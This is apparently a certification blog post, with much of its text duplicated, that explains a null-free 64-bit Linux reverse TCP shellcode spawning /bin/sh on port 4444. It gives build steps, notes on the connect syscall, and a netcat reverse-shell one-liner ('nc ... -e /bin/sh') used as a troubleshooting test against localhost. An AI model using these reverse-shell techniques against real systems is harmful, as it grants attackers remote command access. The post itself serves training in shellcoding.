This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE64-1434
Target Operating System: 64 bit Linux (x86_64 GNU/Linux)
GitHub Link: https://github.com/rtaylor777/nasm/blob/master/RevShell1434.nasm
Published: https://www.exploit-db.com/exploits/41398/
Number of bytes = 65
Number of nulls = 0
RevShell1434.nasm
Assemble:
nasm -felf64 RevShell1434.nasm -o RevShell1434.o
Link:
ld RevShell1434.o -o RevShell1434
Run:
./RevShell1434
But Wait
Before you run the shellcode you need to make sure that there is a client listening on port 4444, otherwise the shellcode will exit with a segmentation error.
For this you can use the netcat command (nc, ncat):
nc -l -p 4444 127.0.0.1
Then execute the shellcode in another terminal:
Also if you are new to Socket programming with assembly language you should start by reading my blog post:
http://a41l4.blogspot.ca/2017/02/assignment-1b.html
man connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The function declaration for connect looks identical to the bind system call that we discussed in the blog post for Assignment 1b. The sockaddr structure required is 16 bytes in size, the high 8 bytes will be zeros as it was with the bind system call. I have recently learned that we can get away without setting the high 8 bytes of zeros, I witnessed this with one of the metasploit payloads.
For the lower 8 bytes, besides the port and the sin_family = AF_INET value (2), we are also providing the IP address to connect to.
server.sin_family = AF_INET
server.sin_port = htons(PORT)
server.sin_addr.s_addr = 127.0.0.1
bzero(&server.sin_zero, 8)
Here is a sequence of assembly language instructions that can be used to generate our not encoded 8 byte structure:
Trace it through in GDB and after the not rbx instruction you will see:
You should be able to see how we are building our IP address 127.0.0.1 in reverse and then tacking on the port after putting it into network byte order (big-endian), and finally putting the value 2 representing AF_INET into the lowest byte.
Yes there is an easy python script that you can use to do this job but if I showed you everything you would have no need to take the SLAE training :)
We managed to save on the size of bytecode by using "not" to encode our structure and end up with 0 NULLS. But keep in mind that if you wish to "not" encode the shellcode later you will end up with NULLS in your bytecode.
On Line 40 we are moving our 8 byte not encoded structure into RBX in preparation for pushing it on the stack.
On Line 41 we use not to decode our 8 byte structure.
On Line 42 we push this lower 8 bytes of our structure onto the stack.
On Line 43 we move the system call number for Connect (42) into RAX.
On Line 44 and 45 we are moving the pointer to our structure into RSI.
On Line 46 we load the number of bytes in our structure (16) into RDX.
On Line 47 we make our syscall.
If you missed it from my previous blog posts the shellcode.c file is auto generated by my helper scripts. See: http://a41l4.blogspot.ca/2017/02/slae-helper-scripts.html
The Reverse TCP Shellcode discussed had these properties:
Number of bytes = 138
Number of nulls = 41
The RevShell1434.nasm has these properties:
Number of bytes = 65
Number of nulls = 0
I have successfully removed the NULLs from the shellcode discussed.
Set up the listener (client) as indicated for testing the shellcode:
nc -l -p 4444 127.0.0.1
Then instead of running the shellcode run the following command in another terminal:
nc 127.0.0.1 4444 -e /bin/sh
Now back in the terminal where you ran the listener (client) go ahead and try typing some shell (sh) commands:
This should simulate what you get from the RevShell1434 shellcode but using the netcat command instead. If you are not able to get nc to work as above, perhaps you need a newer version of nc, or perhaps something is preventing the connection in the first place. Perhaps antivirus, antimalware, or firewall.
If the above test does not work, please ensure that both of the terminals that you are running this test in are on the same host. The 127.0.0.1 IP address is the localhost or loopback address see: https://www.lifewire.com/network-computer-special-ip-address-818385
If the above test works, the RevShell1434 shellcode should work, in essentially the same way.
As a test I connected via SSH to one of my servers as a restricted user.
I downloaded the RevShell1434.nasm file:
wget https://raw.githubusercontent.com/rtaylor777/nasm/master/RevShell1434.nasm
Assembled:
nasm -felf64 RevShell1434.nasm -o RevShell1434.o
Linked:
ld RevShell1434.o -o RevShell1434
In another SSH connection to the same sever as a restricted user:
ncat -l -p 4444 127.0.0.1
Then back in the first SSH connection:
./RevShell1434
In the second SSH connection where ncat is still running I was able to run various sh commands.
The server version?
cat /etc/redhat-release
Red Hat Enterprise Linux Server release 6.6 (Santiago)
Note that I had to use ncat which is bundled with nmap because nc was not working.
If you wish to learn more about assembly language, I highly recommend the "SecurityTube Linux Assembly Expert course and certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE64-1434
Target Operating System: 64 bit Linux (x86_64 GNU/Linux)
Assignment 2b:
Remove all the nulls from the Reverse TCP Shellcode discussed.GitHub Link: https://github.com/rtaylor777/nasm/blob/master/RevShell1434.nasm
Published: https://www.exploit-db.com/exploits/41398/
Number of bytes = 65
Number of nulls = 0
RevShell1434.nasm
Intro
This shellcode when executed will open a connection back to a client that is listening on port 4444. Once connected the shellcode will run /bin/sh and provide the client with access to interact with the command shell.Testing
Once you have downloaded the RevShell1434.nasm source code from the GitHub link above, you will need to assemble it. Assuming you have the NASM assembler ( http://www.nasm.us/ ):Assemble:
nasm -felf64 RevShell1434.nasm -o RevShell1434.o
Link:
ld RevShell1434.o -o RevShell1434
Run:
./RevShell1434
But Wait
Before you run the shellcode you need to make sure that there is a client listening on port 4444, otherwise the shellcode will exit with a segmentation error.
For this you can use the netcat command (nc, ncat):
nc -l -p 4444 127.0.0.1
Then execute the shellcode in another terminal:
Now you can execute commands from the client:
Please See
If you are new to shellcode or shellcoding you should start by reading my blog post: http://a41l4.blogspot.ca/2017/01/execvestack1434.htmlAlso if you are new to Socket programming with assembly language you should start by reading my blog post:
http://a41l4.blogspot.ca/2017/02/assignment-1b.html
Most of the sections in this shellcode, i.e. Socket, Dup2, and Execve were explained in detail in one of my previous blog posts, see the above link.
Connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The function declaration for connect looks identical to the bind system call that we discussed in the blog post for Assignment 1b. The sockaddr structure required is 16 bytes in size, the high 8 bytes will be zeros as it was with the bind system call. I have recently learned that we can get away without setting the high 8 bytes of zeros, I witnessed this with one of the metasploit payloads.
For the lower 8 bytes, besides the port and the sin_family = AF_INET value (2), we are also providing the IP address to connect to.
server.sin_family = AF_INET
server.sin_port = htons(PORT)
server.sin_addr.s_addr = 127.0.0.1
bzero(&server.sin_zero, 8)
Here is a sequence of assembly language instructions that can be used to generate our not encoded 8 byte structure:
Trace it through in GDB and after the not rbx instruction you will see:
You should be able to see how we are building our IP address 127.0.0.1 in reverse and then tacking on the port after putting it into network byte order (big-endian), and finally putting the value 2 representing AF_INET into the lowest byte.
Yes there is an easy python script that you can use to do this job but if I showed you everything you would have no need to take the SLAE training :)
We managed to save on the size of bytecode by using "not" to encode our structure and end up with 0 NULLS. But keep in mind that if you wish to "not" encode the shellcode later you will end up with NULLS in your bytecode.
Details
On Line 39 we are getting our socket descriptor that was returned from the socket syscall into the RDI register where it will stay for the rest of the shellcode execution.On Line 40 we are moving our 8 byte not encoded structure into RBX in preparation for pushing it on the stack.
On Line 41 we use not to decode our 8 byte structure.
On Line 42 we push this lower 8 bytes of our structure onto the stack.
On Line 43 we move the system call number for Connect (42) into RAX.
On Line 44 and 45 we are moving the pointer to our structure into RSI.
On Line 46 we load the number of bytes in our structure (16) into RDX.
On Line 47 we make our syscall.
Shellcode.c
If you missed it from my previous blog posts the shellcode.c file is auto generated by my helper scripts. See: http://a41l4.blogspot.ca/2017/02/slae-helper-scripts.html
The Assignment
The assignment was "Remove all the nulls from the Reverse TCP Shellcode discussed".The Reverse TCP Shellcode discussed had these properties:
Number of bytes = 138
Number of nulls = 41
The RevShell1434.nasm has these properties:
Number of bytes = 65
Number of nulls = 0
I have successfully removed the NULLs from the shellcode discussed.
Troubleshooting
If you are having some issues testing the RevShell1434 shellcode here are some ideas you can try.Set up the listener (client) as indicated for testing the shellcode:
nc -l -p 4444 127.0.0.1
Then instead of running the shellcode run the following command in another terminal:
nc 127.0.0.1 4444 -e /bin/sh
Now back in the terminal where you ran the listener (client) go ahead and try typing some shell (sh) commands:
This should simulate what you get from the RevShell1434 shellcode but using the netcat command instead. If you are not able to get nc to work as above, perhaps you need a newer version of nc, or perhaps something is preventing the connection in the first place. Perhaps antivirus, antimalware, or firewall.
If the above test does not work, please ensure that both of the terminals that you are running this test in are on the same host. The 127.0.0.1 IP address is the localhost or loopback address see: https://www.lifewire.com/network-computer-special-ip-address-818385
If the above test works, the RevShell1434 shellcode should work, in essentially the same way.
As a test I connected via SSH to one of my servers as a restricted user.
I downloaded the RevShell1434.nasm file:
wget https://raw.githubusercontent.com/rtaylor777/nasm/master/RevShell1434.nasm
Assembled:
nasm -felf64 RevShell1434.nasm -o RevShell1434.o
Linked:
ld RevShell1434.o -o RevShell1434
In another SSH connection to the same sever as a restricted user:
ncat -l -p 4444 127.0.0.1
Then back in the first SSH connection:
./RevShell1434
In the second SSH connection where ncat is still running I was able to run various sh commands.
The server version?
cat /etc/redhat-release
Red Hat Enterprise Linux Server release 6.6 (Santiago)
Note that I had to use ncat which is bundled with nmap because nc was not working.
Summary
The RevShell1434 shellcode when executed will connect back to a client that is listening on port 4444. Once connected a command shell /bin/sh is launched and the client is given access to interact with the command shell.If you wish to learn more about assembly language, I highly recommend the "SecurityTube Linux Assembly Expert course and certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Comments
Post a Comment